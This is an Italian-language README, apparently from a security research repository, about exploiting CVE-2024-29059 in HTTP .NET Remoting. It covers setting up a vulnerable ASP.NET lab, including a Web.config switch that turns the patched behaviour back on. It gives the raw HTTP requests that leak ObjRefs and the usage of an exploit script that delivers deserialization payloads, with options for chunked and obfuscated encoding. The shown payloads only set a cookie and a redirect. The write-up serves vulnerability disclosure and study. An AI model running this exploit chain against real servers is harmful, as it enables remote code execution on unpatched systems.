
Risorse aggiuntive per il leak e lo sfruttamento di ObjRefs tramite HTTP .NET Remoting (CVE-2024-29059)
ObjRef tramite HTTP .NET Remoting (CVE-2024-29059)Questo repository fornisce ulteriori dettagli e risorse sul post del blog CODE WHITE dal titolo Leaking ObjRefs to Exploit HTTP .NET Remoting:
ObjRefTypeFilterLevel.LowQuanto segue è basato su Configure Application Insights for your ASP.NET website di Microsoft e descrive come creare un'applicazione web ASP.NET vulnerabile con Visual Studio 2019 (necessario per targetizzare .NET Framework 4.5.2, è ancora possibile scaricarlo da https://aka.ms/vs/16/release/vs_community.exe) e Microsoft Application Insights:
Se gli aggiornamenti di .NET Framework di gennaio 2024 sono installati, aprire il file Web.config e aggiungere quanto segue sotto /configuration/appSettings per riattivare il comportamento vulnerabile:
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />
È quindi possibile eseguire l'applicazione web tramite Debug > Avvia senza debug oppure premendo Ctrl+F5.
ObjRefÈ possibile utilizzare le seguenti richieste per far fuoriuscire ObjRef di istanze MarshalByRefObject memorizzate nel LogicalCallContext:
BinaryServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: application/octet-stream
SoapServerFormatterSink:
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
__RequestVerb: POST
Content-Type: text/xml
Gli URI di ObjRef fuoriusciti possono quindi essere individuati usando la seguente regex:
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem
Abbiamo creato due semplici payload di deserializzazione basati sul gadget TextFormattingRunProperties di YSoSerial.Net con payload XAML personalizzati che funzionano sotto le restrizioni imposte da TypeFilterLevel.Low per eseguire le seguenti operazioni:
HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"Gli header HTTP possono essere osservati nella risposta del server alla richiesta HTTP .NET Remoting.
Lo script RemoteApplicationMetadata.py fornisce un modo per far fuoriuscire un ObjRef esistente e quindi utilizzarlo in una richiesta successiva per consegnare un payload specificato:
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]
positional arguments:
url target URL (without `RemoteApplicationMetadata.rem`)
file BinaryFormatter/SoapFormatter payload file (default: stdin)
options:
-h, --help show this help message and exit
-c, --chunked use chunked Transfer-Encoding for request
--chunk-range CHUNK_RANGE
range to pick the chunk size from randomly, e. g., 1-10
-e, --encoding apply a random non ASCII-based encoding on SOAP
-f {binary,soap}, --format {binary,soap}
targeted runtime serializer format (default: soap)
-u, --use-generic-uri
use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
-v, --verbose print verbose info
Esempio:
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v